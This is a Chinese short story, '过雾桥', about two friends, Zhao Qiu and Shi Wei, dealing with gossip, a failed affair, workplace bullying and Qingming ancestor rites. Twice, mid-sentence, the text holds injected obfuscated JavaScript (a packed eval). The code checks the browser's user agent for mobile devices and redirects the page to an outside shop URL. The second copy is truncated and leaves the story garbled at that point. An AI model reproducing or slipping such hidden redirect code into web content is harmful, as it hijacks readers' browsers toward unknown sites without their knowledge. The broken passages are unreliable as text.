《过雾桥》 1. 银舟 赵秋联系石唯的时候,石唯在叠元宝。离清明还有段日子,她就开始了,得空就叠——每次晚上睡不着觉、难受得紧,就索性不睡了,整夜叠元宝。手机在书桌上唱着,石唯两手的拇指和食指捏着叠好的锡纸左右两边,轻轻一拉,右手拇指把中间隆起的棱轻点下去,一叶小银舟便成型。她将它丢到袋子里,起身到书桌那边接电话。 赵秋先到了江滩前的闸口等候。没多久,远远看见石唯骑着电动车驶来,她向石唯挥挥手,那辆慢悠稳当的电动车便冲天炮似的加起速来。石唯停好车,递给赵秋几袋蔬菜:“我现在住在渡口那边乡下老屋,自己瞎种了些蔬菜,长势出奇好。这还有包好的生馄饨,之前看你挺喜欢吃的。”接着,她又从电动车前取下一个红色大纸袋递给赵秋,里面是叠好的元宝、金莲花等各式祭祖用品——电话里得知赵秋过几天要赶在清明前回老家祭祖,石唯特地准备了这些。赵秋接过袋子,有些不好意思:“哎呀,你准备这些做么事?不麻烦啊?旁边油榨街多得很,好买的。搞得你这么辛苦。”石唯回道:“嗯,你拿到嘛,免得再麻烦去买。”赵秋给石唯带了各式点心和小蛋糕,石唯一直爱吃甜食。两人把东西放好,靠边锁好电动车,一同朝江堤走去。 赵秋和石唯已一年多没见面,两人工作都忙。高中时便是好友的俩人,总是互相支持。石唯以前在外地工作,每年也就是春节抽空见面;这几年她回来了,工作却更忙。 走在江堤上,石唯不停地说着话,像是生怕赵秋觉得闷。赵秋看着她,很心疼。 一对年轻夫妻带着两岁多的小娃娃从对面走过来。小娃娃像小企鹅般左右摇晃着跑,爸爸说:“这么不稳当,要摔跤的。”小娃娃边跑边抿嘴再松开吹气,左右嘴角都冒出了小口水泡泡。石唯、赵秋和娃的爸妈都大笑起来。小娃还对着她们“嗨”了一声,举着手比“耶”。 石唯逗了一下小孩,随后向小孩父母点头示意,便离开了。赵秋望着石唯逗娃时弓着身子的背影,心里莫名有点难过,甚至觉得阴天的江堤亮得晃眼——石唯的头发剪得好短了。 走了一段路,见江堤有不少人在摘芦苇笋,赵秋问:“芦苇芽能吃吗?”石唯答:“不知道是芦苇笋还是荻笋,网上说能吃,所以今年挖这个的人不少。这边摘枸杞芽的人也多,我给你带的菜里面就有枸杞芽,打汤清甜,炒着吃微苦,但我挺喜欢。” 她们是来看那棵大杜梨树的。这棵树快六十年了,树冠浑圆,树型优美,这个时节树叶刚发,嫩得像扑了一层浅浅的粉,梨花全开了,一树清透的粉雪。工作日人不多,树下偶尔有人来拍花。赵秋拍了几张花树的照片,又抱了下树干,感叹树真大,问石唯怎么知道这地方。石唯说:“再往里走应该有钓点,平时不少电动车停在这附近,之前看常见人带着钓具来。”树附近有人开荒,见缝插针在一块块小豆腐块的地里种蔬菜,平时还是有人来的。 赵秋不问了,只说:“我们刚才应该骑电动车到这边再下来,不过一起走走好说话。” 石唯转身往右边走了走,避免踩到芦苇笋芽,踢了几下地上的沙,回过身看着赵秋:“秋,我之前跟你说可能很快恋爱了……后来我们工作都忙,联系少了,也就生日节日互相问候寄东西。你没问,我也就没说。这一年,我……”她双手叉握,大拇指搓着大拇指,不敢再看赵秋。 赵秋是不打算问的,石唯不说,她绝不会问。她不知道石唯这一年是怎么过的,独自承担的滋味……她想不出来。 赵秋的表妹芸芸要订婚了。两周前,赵秋被单位派去夏口培训,芸芸听说后,马上约了赵秋周五晚上吃饭,地点就在赵秋公司安排的酒店附近。 下榻酒店的街区和家里老城区没差多少,一到晚上很热闹,小吃街特别多。赵秋按表妹发过来的定位找店面,心想夏口人真是爱吃会吃,过早和夜市的盛况,是被食欲海浪包裹的“情热大陆”。芸芸老早就在店里侯着了,看到对面街道不时看手机又左右张望的赵秋,急忙跑到门口喊了两声。赵秋闻声挥手,左右看了看车,跑了过去。 此时芸芸已招呼服务员上菜,爆炒牛蛙、烤鸽子、鸽子汤都端了上来。 “秋秋姐,这家鸽子可好吃了。看你住这边,我马上想到了这里,你喝点鸽子汤补补。”芸芸热情地招呼着。 “你搞得太客气了。我就待一天半,明天考完试就回去,还让你破费。”赵秋有些不好意思。 “我们姐妹客气什么?我3.14订婚,到时候和雨哥一起过来玩。”芸芸熟稔地给秋秋夹菜。 “对了,姐,你之前结婚时帮你做手捧花的朋友,现在在家还是在外地?你那个瀑布手捧花好漂亮,我想你帮我联系她,到时候结婚可能用得上。” 赵秋明白了芸芸的意思,便应承下来。 吃饭时,热菜陆续上桌,芸芸提起了一件事。她说去年夏天和男友在这家对面的火锅店吃饭,见鸽子店门口吵吵嚷嚷的,都是喜滋滋看热闹的人。芸芸问:“你猜怎么啦?”赵秋看着妹妹一脸激动,似乎很期待的样子,心想:不会是市井群众们最喜欢看的情感纠纷吧?这种热闹里来几个搅浑水的“正义之士”,指不定能变成《故事会》般的奇闻传遍全市。没等她回话,妹妹就迫不及待接着说了:“是轧姘头的!”说完嘴角下撇,侧头啧啧两声,“那个男在夏口有老婆,没给女友说,自己在复州工作时和这女友好上了。” “这不是诈骗吗?杀猪盘不搞线上转账,还发展到线下真人谈朋友啦?”赵秋觉得离谱。 “那女的也是见了活鬼,发现后已经和那男的断了一段时间了,那男的却要死要活。女的来夏口和朋友做什么装置吧,和朋友正吃饭呢,被人家老婆找来了。”芸芸又给赵秋夹了些鳝丝。 赵秋其实不太想聊这个。年轻时觉得真是稀奇,工作久了遇多了乱七八糟的事,只觉得啥事啥人都有,人民群众喜闻乐见的市井八卦无非就是钱或情。芸芸却说到兴处:“姐,你知道那人是谁吗?” “哪个?男的还是女的?” “女的!她前年在我朋友学校代课了一段时间,我去那边办公室见过她。”芸芸带着一丝神秘和得意的表情,压了下声音凑近,“我朋友跟她说话时,我听到叫她‘石老师’,瞄了一眼——是你高中同学石唯!”说完,又正回身子,给自己和赵秋续满饮料。她抿了一口,轻轻抬眼,带着有点期待的眼神等赵秋回话。 赵秋愣了一下,一时反应不过来,表情疑惑地看着芸芸。芸芸以为赵秋不信,拉了下她胳膊说道:“姐,是她!你高考完那个暑假升学宴,我在你家玩了三四天,吃酒席那天她是你骑电动车接来的。”见赵秋没不说话,又说:“绝对不会错!大夏天热得流汗,她穿热裤,大腿皮肤黏在你电动车皮座上,下车时嗷嗷叫,你们俩在门口笑了半天。再说,你结婚那天我见她好像也来了。” 赵秋脑子里像抹了浆糊。芸芸却更欢喜了,像只叽叽喳喳的布谷鸟在不停地唱着“豌豆剥壳,锅锅哥哥”一样。赵秋真想让她停下。 饭后时间还早,芸芸拉着赵秋去常去的外贸店淘衣服。老板是莞邑人,那边针织厂子多,店里各式各样的针织品和毛织衣服。赵秋本想早点回酒店,不知道怎么和芸芸讲,进店里了也认真淘起来。她看中了一件水蓝色的高领半袖针织衫,衣服剪了品牌标,水洗标上写的“毛 100%”和“にの商品はイタリアドおいて訪績し中国で染色したを使用しています”(注:此句意为“本商品使用在意大利纺绩、中国染色的羊毛”)让她觉得材质还不错。 她正准备问价,芸芸又凑过来了:“秋秋姐,喜欢就多挑点,老板从老家外贸厂子拿货,价格也好说的。”芸芸边扒拉架子上的衣服,看到赵秋拿着水蓝色的针织衫,猛地提高声音又意识到什么似的降下调:“上次石唯穿的也是这种蓝色,无袖的高领针织搭着浅蓝色的刺绣裙子。”她挨着赵秋,声音更低了,“我本来不想看热闹,我男友指对面,我就瞟了眼——那女生衣服搭得挺好看,就是谁大热天穿高领无袖针织衫?我还是忍不住跑出去瞄了一瞄。” 赵秋有些厌烦:“也许人家穿的是真丝棉或细薄羊绒的,不一定热。”她看芸芸这样子,摆明就是想要看热闹!她含糊应着,拿着蓝针织去问老板价格了。期间芸芸仍按捺不住提石唯这事,赵秋不知道说什么,只能应付着听。 “姐,你看那家鸽子店叫‘啵啵儿鸽院’,结果还‘啵啵儿’呢,闹成‘巴巴掌’了。”她说起劲了还不忘补充:“后来那个男的也跑到店里,想阻止他老婆,石唯甩了他三嘴巴。” 芸芸说那个老婆说要放录音,哭骂那男的不是人,问他敢不敢承认不爱石唯。“那个老婆说,明明录音里她老公的呼吸拥抱着石唯的呼吸,声音拥抱着石唯的声音,空气都是相爱的。”芸芸轻推了赵秋,邀功般用小孩语气问:“我这八卦够重磅吧?” 老板看向赵秋,介绍她上手摸的那件八字领衬衫裙是30姆米的重磅真丝面料,好料子难得,建议试穿。赵秋顿了顿,回头看芸芸——重磅真丝看得见、触的着,有分量;而这重磅八卦是无形的气,压着喉咙管子。别人的生活就是别人的生活而已,不该是嚼了几个小时只剩一点味的口香糖,没有重量,也没有分量。她忍住轻叹了一半的气,问芸芸要不要再挑挑,自己准备结账,只要那件蓝色的夏季高领短袖针织衫。 芸芸意犹未尽,出了店门还念叨了一小会儿,说那老婆也真是的,到最后也没放录音。“秋秋姐,你不好奇那个男主角长什么样吗?”在奶茶店等手打柠檬茶时,她又问。奶茶店正在放的歌是《三人游》: “一人留 两人疚 三人游 悄悄的 远远的 或许舍不得 默默地 静静地 或许很值得 我还在某处守候着 说不定这也是一种 幸福的资格” 赵秋说还是喝饮料吧。喝完柠檬茶,两人道别,芸芸男友开车来接她,赵秋则慢慢走回酒店。路上想,也许芸芸今天一直说不停,一件衣服也没买到,是因为自己没有给到她想要的回应。赵秋一时消化不了今天满桌的鸽子宴,也消化不了这所谓“轧姘头”,只觉得耳朵疼。 夜里有凉风,她后悔没带口罩——最近流感厉害,丈夫杜雨染了一周还没好,咳得让人听着都怕嗓子毛糙。 酒店是老国营的,装修透着当年的豪华,这种时间的痕迹让赵秋感到安心,是一种安稳的生活气息。房间里有一对木雕鸳鸯摆件,她想起了石唯十多年前从闽地旅游回来,给她带了一对木雕鸭子,应该还放在娘家书房。 睡前想着芸芸说的事,心想:“好奇什么样?反正不是人样!以为想怎样就怎样吗?”又想到那妻子的控诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988369|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忽然理解“赋到沧桑句便工”——切身之痛,是外人绞尽脑汁也无法描述的。听得见的呼吸声能让人感受到潮湿的拥抱,那触不到的、看不见的呢?把一个人隔离在玻璃罩外,她隔着罩子凑近,听见你的呼吸爱别人;把另一个人骗进罩子里,你们的呼吸相拥,她以为你爱她,你也以为你爱——好奇吗?不好奇。赵秋只看到一个悲痛的人和一个被骗的人,或者说,两个被损害和被欺骗的人。 也许是吹了风,赵秋脑壳疼,希望明天结束培训考试回复州再想这些。头又沉又麻,终于睡去。 赵秋回到复州后也病了,流感来得急,头疼得整夜难眠,胃口也差。杜雨倒是好了,某天加班带回小馄饨,说是单位楼下新开的店,老板是外地人,推荐荠菜小馄饨,想着没吃过就给她带点尝尝。赵秋没什么力气,起来勉强吃了几口——其实荠菜小馄饨她吃过。某年清明,石唯带了许多春菜还有几盒包好的荠菜小馄饨给她,这边不常吃,石唯倒喜欢试新鲜。 赵秋走到床头拿起手机,上次和石唯联系还是春节互致问候,石唯的社媒小号也已一年多没更新。她高中时,和石唯晚自习后去操场散步,说以后要开一家书店,这样有很多空闲时间,能自在阅读,还很自由。石唯当时说,要到她书店的二楼开点心店。 “现在我们,好像都不太自由。” 等病好吧!等病好了,一定要联系她——尽管不知道要怎么开口。 这次见面,赵秋没想到这么快,也没想到什么都这么快。她没等石唯再开口,跑过去抱了下石唯,轻轻拍了怕她,“没关系,没关系的。”她们是在附近的一个素馆子吃的晚饭。以前江边有间很小的道观,这家素食馆子在附近巷子里,道观前些年搬走了,原址扩建变成了很大的寺庙,小馆子还在,搬到了街上。老板记性很好,笑着说赵秋倒是好几年没来过了,赵秋笑着问老板的父亲怎么不在店里帮忙了。其实那个老人家不是老板的父亲,一直在这边店里好些年,赵秋好几年没来,不知道他已经去世了。老板只是回她:“没有什么不是暂时,人生短暂得很啰。”这餐饭吃得很慢,大多时候是石唯在说,更多时候是俩人一起沉默。赵秋不再说没关系,她愈发觉得过日子像申冤,钉板滚了才晓得能不能见到青天大老爷,还不一定能有结果,有时候人不知道为什么自己要那么选那样做,经过事心里才清白些也是常有的事,或许大部分人被很多事流经过也不会清楚什么,只是事情发生过。 赵秋回到家,杜雨加班还没回来。她把灯关了,靠在沙发上,这种时候最安静,她有点烦躁,这种烦躁像着急要煮面条,锅里的水却怎么也煮不沸。 高中毕业的那年的暑假,有了很多的自由和时间。那年夏天很热,赵秋和石唯没有像其他同学一样暑假兼职或外出旅游,她们都在家看电视剧。一起看那部穿越剧是在她家,她俩窝在沙发上,空调开着,她和石唯共搭着一条北极熊提花图案的夏凉被。剧情到了后期,俩人看着不说话,尽管她俩平时也可以安静地在一起待很久。后来午休,石唯躺在沙发上,赵秋没和她挤,从房间拿了席子过来,推开茶几把凉席铺在沙发边的地砖上。石唯怕她着凉,把夏凉被盖她身上,要和她换个地,她拒绝了说不能让客人睡地上。她不想去房间睡,想和石唯一起说会儿话,说着说着就睡着了。 三年前的春节假期,并不看电视上欢欣的晚会表演的二人互发起消息,发现彼此都在重温这部剧消磨时间,于是聊了会儿。她们在聊这部剧,更多是聊一些往事,最后聊起了对情爱的态度。 “你说爱是让自己自在、自由、放松,我想就是这样吧。那会不会人脆弱的时候容易袒露出比较真实的自己,让人看到一个人作为“人”的那一部分。不过我认同你的说法,可能最爱的还是自在随心的自己,也许每个人都是最喜欢自己的,这很好。 最近几天睡不好,梦里总是要准备考试,总是没有准备好。不知道今年又是什么考验,十多年前是高考和突然的恋情。现在每年过年怎么过的都记不得了。不知道为什么,今年对人生是怎么回事的疑问感强烈了一些。也许是快到三十岁了吧。 秋,新年快乐!” 赵秋收到石唯消息后想了一会儿,回了微信过去。 “你问今年又是什么,今年是好运和平安。关于十多年前的那场突如其来的爱情冲击,希望你不要为自己也想不清楚的过去负自己一点点加砝码的长期责任。我希望你能打开心门,拥抱变化和一切新的事物。如果可以,开启一段新的感情。 至于时间过得快到让人没有实际的感觉,我想,三十岁还是有时间在假期看十几年前的老剧,有种回到少年时光的错觉,这也是轻松的吧? 新年快乐,唯。” 钥匙插孔转动的声音响起,杜雨进门打开灯,看赵秋在沙发上闭着眼,他匆匆换好鞋,把带的吃食拿过去。 “怎么在这边睡着了?给你带了红油牛肉包,你晚饭吃了吗?”杜雨试探性问她, “没睡着,吃过了,包子放冰箱,明天热了当早饭吧。”赵秋睁开眼,撑着起身回他。 杜雨见她没精神的样子,生出一丝不耐烦的情绪,他本可以像以前每一次一样,但这次,他还是忍不住说了:“你还在为工作上的那个事烦躁吗?那有什么的,我都说了,你就听我的……” 杜雨还没说完,赵秋打断了他,她侧身错开他,回了房间。 2. 清明时节 书房打游戏的声音不时响起,赵秋很厌弃这一切,锁上了房门。 上周,她在单位终于爆发了。此前她一向与人为善、沉默客气,甚至反思过:别人如此对待自己,是自己默许的? 好几年前和石唯聊起工作,石唯劝她:“不要怪自己,别逼问自己。如果一个人一直纠结自己有什么事做得不够,或许是因为在被挤压到呼不了气的环境,被持续欺负着。”那时赵秋还没结婚,和杜雨谈着平淡又平和的恋爱。家里妹妹念初三,成绩优异,在学校附近租了房子:中午吃食堂,晚上妈妈送饭,夜里妈妈会在那边陪伴过夜。父亲大多时候在单位宿舍过夜,工作很辛苦。赵秋对家里大小事务格外操心,有时候会想自己怎么会挂记这么多事情——“没关系,生活不就是鸡毛蒜皮叠加鸡毛蒜皮吗?” 毕业工作后,家里的一卷卫生纸都没有让父母操心过。或许她什么都要考虑、什么小事都要当心,是因为除了她,没有人再管理这些,大家默认这是她该做的。她念了不错的学校,毕业后返家,找到本市体面工作,父母觉得大女儿供出来了,作为家长的任务完成了九成九,只盼女儿结婚,于自己是解脱,对女儿是美满。 高中时,石唯得知赵秋喜欢梁咏琪,送给她一盒《魔幻季节》磁带。赵秋晚上用复读机听完英文听力,会听一下歌。A面的一首歌《魔幻季节》里第一句歌词是“生活像悬疑的小说,下一页剧情是什么”,她觉得自己的生活是可以猜出大概轮廓的剧本,已经写好了,猜一猜、描一描,几乎可以看到这个剧本的模糊身体——有嗅觉,是暴雨后泥土被侵扰的气味;还有味觉,枸杞芽炒老了的清苦。 其实她更喜欢B面的《四季》。四季变换好像从来没有拥抱过她。这个城市有没有四季?她只感受到了冷热交替。江汉平原怎么会没有四季?只是她真的过了这么多个春天吗?如今结了婚,妹妹在北方很好的学校念飞行器动力工程,父母身体健康——很好,这很好。 几年前,赵秋曾向母亲表达工作的辛苦和困扰,母亲并不理解,也不愿理解,多一个字都不想说。妈妈是怕多一丁点儿理解和心疼都会让赵秋找到释放的支点,这样会撬翻看上去很稳定的生活。她说:“我工作也好累啊,上班嘛,总不是你忍我、我忍你。你好享福啊,你爷爷奶奶那么大年纪还在老家种菜园子呢!没有人活着不做事的,你至少读书出来了,上班风吹不到、雨淋不到。” 这种比较让她疑惑,她问自己:“我很好吗?很稳的生活!湖面平静像死水,风都掀不起一丝纹,他们说我的生活是静静的水流、安全的湖面。可是,湖底水草密得像着火房间的烟雾,我不在湖面,只有在湖底的恐惧,我的安全是在水草间隙的挣扎,我不知道什么会缠绕我,我怕水鬼蒙住我的眼睛。” 从小被教导忍耐是美德,一直忍耐的人总有一天会把向内扎进身体里的刺全部挤出来。 上周,赵秋撕碎了活动准备的所有物料,面无表情地做完这一切。那个擅长对人算计和使用的前辈倒不敢放声刻薄了,嘀咕她简直是个“文疯子”,找来了大领导。她从头到尾都很平静——全身像被刺扎一样麻时,是激动不起来的——她变成了飞廉。 “你不是平时就把人当办公室的饮水机一样嘛,我也就被当作比一盆绿萝稍微像个生命体一点,那我全部撕掉。”她想,“就是我撕掉的,这些东西就该撕掉,都是我熬夜做出来的,谁负责的活动,谁自己去做吧!” “发疯”之后,单位里都是些“体面人”了。过了两天,先是杜雨接到了疑似在录音的电话,对方询问赵秋在家的情况,是否经常发脾气。杜雨很生气地要对方不要企图通过家人对自己太太施压,也不要搞这种见不得光的小动作试图诋毁他太太;后续父亲也接到电话,被问女儿是不是情绪不稳定,他非常气愤,表达女儿是成年人,有什么问题不找本人来找他,想要从这边得到什么,真是没礼数又下作。 丈夫和父亲都给赵秋打了电话说了这个情况,她非常愤怒:“我是什么道具和物品吗?单位把人当使用品是当惯了吧!我一个成年女性,能独立处理各项工作事务,那有什么是不能和我当面锣、对面鼓的?我是人,有什么需要通过我的丈夫和父亲才能处理的吗?我就和一盆绿萝、一张桌子、一个板凳一样吗?要通过我家人的证词把我塑造成一个疯女人?”——一个疯女人不适合工作,所有的问题都是因为她是个疯子。好无耻,原来从头到尾自己都不是一个人,原来只有自己才能想办法把自己当作人。 次日,赵秋准备去老家吊青,在书房找不到放在墙角的袱包和祭祀用品,便去房间问杜雨。 “你看到过书房的红色纸袋子吗?”她推了几下还在睡觉的丈夫。 “那玩意太晦气,影响我发挥,丢厨房旮旯了。”杜雨翻了个身继续睡。 “好!晦气。你屋里没有先人吗?沉迷游戏很了不起吗?”赵秋觉得他才晦气。 “我屋里的这种事总不是爷和姆妈管啊?你喜欢瞎操心,不睡觉起这么早干嘛?” 赵秋买了水果牛奶去看爷爷奶奶,随后去了地里。乡下吊青早,不少坟头零零星星插着颜色鲜艳的仿真绢花。人死如微尘,隆起的土堆是那些人们来过人间的证明,这片土地承接着无数已经宁息的爱恶。 赵秋摆了几根香烟在墓前,点好三支香插上,再点燃袱包。火苗先烧破一个口子,锡纸叠的那些元宝迅速燃起:“烧吧,小银舟下火海过冥河,把人间的风声带给故人,把余烬留给土地,它们会滋养出夏季蓬蓬的野草。” 这位太公只比爷爷年长八岁,是爷爷父亲最小的弟弟,幼时发高烧使用药物后致聋,年轻时靠做苦力维生,终身没有成家,赵秋的小伙伴都叫他“聋阿公”。小时候,家里人都忙生计找活路,没有人不上班。记忆里,聋阿公常带着小小的她,给她买用薄薄的透明塑料裹着的小方糕——那是两片方形蛋糕,中间夹着厚的硬奶油。吃完后小薄袋子不丢,聋阿公给她摘蚕豆花装起来。 清明时节,蚕豆花都开了,粉灰色的花像一只只小蛾子,也像无数双看见她又只是看着她的黑眼睛。黑色眼睛的你是在问我什么?你会接纳我,还是要问侯我?你会不会好奇我是否过上了想要的生活?你知道我会对你很诚实。 聋阿公的母亲在五十年代中期的那场大洪水里消失了,这之后,他没有一个长辈在人间。 聋阿公三年前在养老院因肺炎去世。乡下的养老院便宜,好在老人都是住单间。家里人接到养老院电话赶过去的时候,聋阿公房间里能用的东西已经被其他房的老人分完了,身上盖的被子也是。都是苦命人。聋阿公最后的样子是嘴巴微张、眼睛微张。赵秋的爸爸合上了聋阿公的眼睛。 在殡仪馆,赵秋和家人从早上八点排队到下午两点,都是肺炎过世的老人。 爷爷说家里长辈曾找人给聋阿公批命,称“一生要远离水”,可聋阿公会水,水性极好。“肺炎到最后呼吸不顺畅,会像溺水吗?”赵秋不是宿命论者。石唯初一十五吃素,不吃牛肉,她从来不问原因,她尊重一切,接受一切。她接受石唯用心意叠好的锡纸元宝烧给聋阿公,不会笑话石唯说着那个“天地银行”亿万元的冥币烧过去不好用。石唯相信爱、梦、感觉,赵秋相信爱、实、理智。 今年清明时节没有下过雨,一直是好天气。小时候的夏天,每次下大雨,赵秋会坐在爷爷奶奶老房子的门槛,看着屋檐流下的一条条水线。屋檐的水总是往下滴,人只能朝前走。 “我记得小学的雨天,你去学校送伞给我,当时调皮的同学嘲笑我有个不会说话的爹爹。不会说话的你,听不见的你,不识字的你,是怎么穿过一间间教室找到我的呢?我还记得你那天穿的老式雨用木屐。这两年老房子里没有了你的一点点痕迹,我再也找不到这双木屐。你舍不得用的天使牌刮胡刀和刀片,爸爸去年烧给了你。” 石唯的姐姐石植为吊青回来了。 七年前清明节,爸爸说俩姐妹都没必要专门在意这个事情,族谱和家谱也没女孩的名字,表示没结婚的姐妹俩没资格祭祖扫墓。当时石植就不依了,问什么意思:“有血缘的女性晚辈要嫁人后经由一个男的带过来才能扫墓?什么歪理邪说,有毛病!就算嫁人,对方也不姓石啊,就因为他是个男的,所以我因为结婚获得了资格?狗屁!老子想扫墓就扫墓,不想扫墓就不扫墓,不需要谁带领和允许。” 那天四姑妈也在,听了这番话之后劝道:“小植啊,你晓不晓得,大部分老人家就算托梦也只是托给男孙,只有你爸爸和伯父他们梦到过我爷爷。华人社会重男轻女,祖先有求于阳间,男孙梦到先人,家里会比女孙梦到更重视。” 石植冷笑:“真是有意思得很呢,封建糟粕。我先是个人才是女人,结婚才有资格缅怀亲人的话,那这个祖不拜也罢,都不把我当人了。” 四姑妈又说话安抚石植:“到你们这一辈就好了,越来越好。你们读书的时候一堆老师打击女生学不好物理,说什么上初中念高中就跟不上了,很多人还没爬山就这话被吓破胆了。你看你元子姐姐,不是理科念得很好,现在工作特别棒嘛。不要在意别人说什么,你按自己心意来,想去拜下爷爷奶奶就去,不想去就算了,别听你爸爸乱讲。” 石唯心想:虽然四姑妈说什么事都能把弯转到元子姐身上,但是她爱自己女儿挺好的。 石植说了句:“我当然按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老石带姐妹俩祭拜了他的爷爷奶奶后,又去了自己父母的墓前,他点燃香,石唯和姐姐马上递过准备好的袱包和各式物品。 中午很热,老石没有戴帽子,他的脸被晒得又红又黑。点燃袱包后,他突然很激动:“您二位好好保佑我的女儿,我的俩孩子每年都来,冥币都不肯我买,自己叠这些东西。她们从小善良有心,您俩老为什么不保佑我的女儿?植儿这样,我本心如死灰,小唯还这么苦!姆妈,您怎么一点都不替我操心?我的女儿怎么会这样?” 石唯忍着没有流下眼泪:“爸爸,您不要说冤枉话了,这不相干的事。” 老石不管,继续说:“天一半,地一半,姆妈您要保佑植儿和小唯,我不求她们有多大出息,我只求我儿能平安到老,老有依托!”说完,转身去前面不远处祭拜自己爷爷的几位亲兄弟那边。 石植和石唯在爷爷奶奶坟前用棍子挑着没烧着的锡纸到火里,燃毕只剩一堆灰,姐妹俩作揖拜祭。 回程路上,老石在车里说他很想念自己的母亲:“小时候想爸爸,见不到你们爷爷我不肯睡觉,姆妈总背着我,带着四姑妈和小姑姑去找在外工作的你们爷爷,必须要走的一条路就是坟场这边。我好害怕,闭着眼睛又忍不住一只眼睁条缝瞄一下,最后还是紧紧抓住我姆妈,然后把头埋更紧。小时候会做噩梦发梦境,都是在走这条路,雾蒙眼吓死人,醒过来整片背都是湿的。” 他现在不怕了,全村子人的最后归宿都是这片荒地,那还有什么好怕的呢?只是,有时候他很想他的母亲。 石植闭眼靠在妹妹身上,车上是长久的沉默。她告诉自己不能动,不许哭,她快四十岁的人了——所以,爸爸是担心我的,我的情况让他想到很远很远,甚至会因为担心我不敢闭上眼睛,对吗? 晚饭一家人在外面吃,石植打电话请了阿姨和姨父,她请客。爸爸专门换了身衣服,妈妈也挑挑拣拣换了好几个包才满意,一家人还是比较欢喜地出门。 在阿姨胡敏中家附近商场里吃湘菜,氛围不错,大家讨论姨父前一天跑马拉松的趣闻。石植觉得阿姨看小唯的眼里满是心疼,大家也有意避开一些话题——家里有什么事自己不知道吗? 席间姨父盛赞石植了不起,靠自己努力在梁溪把服装厂子做起来了,太不容易了,是很坚强勇毅的女生。大家一起干杯敬石植。 石唯去卫生间的时候,石植也过去了。洗手的时候,她问妹妹:“你那会作揖对爷爷奶奶说了什么?” “不必把爸爸的话介怀心上,两老在那边相互照应,顾好他们自个儿就行,阳间的事由阳间的人自己操心。” 石植点点头,接过妹妹递给她擦手的纸。石唯没说的是,她还对爷爷奶奶祈求:如果真的有余力,就保佑姐姐和小芬姐姐一切顺利,希望父母能健康。 那石植两俩老求了什么吗?石植觉得自己不需要被保佑。她希望奶奶偶尔去爸爸的梦中看看他;再贪心一点的话,希望妹妹的人生能顺一点,再顺一点。 3. 春夜 石唯已经加班到八点了,她有些烦躁,心里骂了陈齐好几遍。 陈齐过来样品室门口看了眼,没进去,说:“口口,你还没走啊?我家老头又作妖了,我这会赶去老家,明天下午我再过来。” 石唯不想抬头看他,没有情绪波动地“嗯”了一声。 陈齐和她道别转身就走,没两下又转回来了,说到:“口口,辛苦你了,明天上午你至少给三个demo我,发钉钉群组。”石唯抬头掩饰自己的不耐烦回了句:“好的,老板。” 陈齐知道石唯肯定不开心,补充了一下关心:“口口,你年底还是买辆车吧,咱工业园区这边还是有一点偏的,你天天电动车也不太安全。这段时间真的辛苦你了,年终奖我会表现我的诚意的。帮帮我啦!我先走了,你也早点,走的时候记得样品室的电闸要拉掉。” 石唯终于拉下脸了,忍得气都不顺了,说:“知道了,知道了,好呢。知道我在心里骂你了就快点走吧,不要影响我干活。开车注意安全,快去处理你家老头子吧。” 陈齐又补充一声要她注意安全,就走了。她厌弃地丢下手里的仿真绣球花,鼻孔叹了口气,瞥见桌上胶盒里快没有胶了,只能平静下来去加胶粒。 干活还是要平静下来耐心做。她很快又投入了工作:打好样后,整理干净操作台,把仿真花材和各种材料归类置架,检查了插座开关后关灯出门上锁,门外拉闸。 每天工作都是这样度过的。除了赶订单加班,其实她对现在的工作和生活是满意的,现在很容易知足。父母和姐姐身体健康,外公外婆八十大几了,身体也不错;家里亲近的兄弟姐妹,学习、工作、生活都挺好;有少年时代就互相理解支持的好朋友……想到这些,她甚至觉得自己命好。 骑电动车回去的路上,工业园区有段路黑黑的。附近的好几年烂尾楼终于有了浙地老板接盘,现在建得很不错。她觉得下班回家的时候好自由,骑电动车好自由——如果可以边听歌边骑车就好,就是风吹得有点冷,也许是要考虑买辆车了。 以前,农田这边的大路两旁是杨树行道树,一到夏天郁郁葱葱,骑自行车过去会有微风;现在,修路嫌遮挡物多,她都是换了小路走。骑电动车很快,穿过邻村水田那边的小道,水田被挖了变成藕池,到夏天会长荷花。 二十几年前,这边还不是水泥路,夜晚出租车送客是决不肯通过小路送人进村子里的。没有路灯的乡间小路太多未知和不确定让人恐惧,时常有耸人的打劫出租车的新闻见报。现在还是没有路灯,出租车进村倒常见了——都是网约车。蟋蟀声不断,闷热夜晚的风却是凉凉的。 村子里不变的大概是节约了。以前,念书下晚自习骑自行车回家路上想着怎么每家每户都不开灯,光听见电视声音了;现在,还是一样,没有灯光透过窗子,只有短视频的声音。 月亮也没有什么变化。在幽暗的背景下,它给人的感觉就像睡熟被吵醒,看到房间灯泡亮着那一瞬间——真是刺眼。 好像换了人间,也许没有变。没关系,对石唯来说,现在就是最自由最好的时候,她很满意这一切,也很感激这一切。 到家洗漱完毕,石唯在K歌软件唱了一首歌,私密上传后准备睡了。她以前不理解她妈妈总是热衷在k歌软件天天打卡唱歌,还和网友互相夸赞;现在她觉得果然很解压。石唯从不公开,她并不想、也不敢展示太多自己的私人事务和生活。 想着第二天交完demo不一定被通过,她躺床上后又爬起来,到电脑那边去PIN上看看素材和行业趋势——多查点资料准没错。桌子上放着石植留给她的文件袋。返回梁溪的前一天,石植来外公老房子阁楼收拾了好久,家里文件类、书籍类物品都是她和石唯在收纳整理,一直保存在阁楼。 石唯打开文件袋,里面有她从小到大的奖状。她翻着看到了一张奖状后笑出来——2005年年度班级优秀保洁员;还有一张被虫蛀出了不少点点的纸,是2004年的期末教师评语。原来姐姐把她不在意的东西都很好保留着。 